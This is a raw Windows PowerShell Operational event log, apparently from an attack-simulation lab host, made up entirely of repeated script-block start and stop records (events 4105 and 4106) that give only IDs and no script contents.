09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039448
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039447
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039442
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039441
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039419
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039418
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039417
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039416
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
